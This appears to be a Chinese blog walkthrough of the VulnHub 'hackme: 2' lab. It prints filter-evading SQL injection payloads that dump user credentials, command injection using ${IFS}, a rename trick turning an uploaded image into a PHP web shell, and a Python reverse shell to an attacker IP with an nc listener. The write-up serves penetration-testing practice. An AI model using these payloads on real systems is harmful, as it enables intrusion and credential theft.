hackme2 复现

下载环境地址

hackme: 2 ~ VulnHub

环境搭建

下载后 点开文件 就好了

点击你的靶场虚拟机-》右键-》设置-》网络适配器-》网络连接

(查看当前虚拟机的网络模式,这里是NAT模式)

再次打开高级 看好 mac地址 好去kali里面找ip

看vim编辑已知网段是49段得

开启nmap扫

(kali网络模式切换为NAT模式,确保都在同一网段,两台机器之间可以通信)

nmap 192.168.49.0/24 

已知主机 扫描端口

nmap 192.168.49.129 -p-      

访问页面

注册登录,看看

有个搜素框看看有没有sql注入

a%'/**/and/**/length(database())>1#

a%'/**/union/**/select/**/1,2,3#

x%'/**/union/**/select/**/user(),database(),version()#

x%'/**/union/**/select/**/TABLE_NAME,2,3/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()#

x%'/**/union/**/select/**/column_name,2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#

x%'/**/union/**/select/**/user,pasword,3/**/from/**/users#

找到管理员

解密之后。用户名:superadmin 密码:Uncrackable

登上管理员账号密码看看

这个图可以看出这个文件上传设置白名单

测试下面的功能点

发现输入参数可被执行

可能存在命令注入

验证命令注入

但是在进一步的验证中发现命令执行却不起作用,所以在这里猜测可能是由于过滤空格导致的

system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')

文件上传失败

换个方式 命令执行+文件上传

我们现在可以进行命令执行(执行命令反弹shell失败,可能是不存在这种反弹shell方法,或者是我执行有误,并没有执行成功),也知道了文件上传后的路径,我们可以利用命令执行漏洞修改上传到服务器的文件名,然后进行反弹shell

system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')

http://192.168.49.129/uploads/year2020/phpinfo.php

反弹shell

system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')

这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator

借用hackbar访问url,反弹shell

export RHOST="192.168.3.129";            
export RPORT=8000;python -c 'import sys,socket,os,pty;            
s=socket.socket();            
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));            
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];            
pty.spawn("/bin/sh")'    

http://192.168.3.128/uploads/year2020/fantanML.php            
?cmd=export RHOST="192.168.3.129";            
export RPORT=8000;python -c 'import sys,socket,os,pty;            
s=socket.socket();            
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));            
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];            
pty.spawn("/bin/sh")'         

nc -lvnp 8000 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值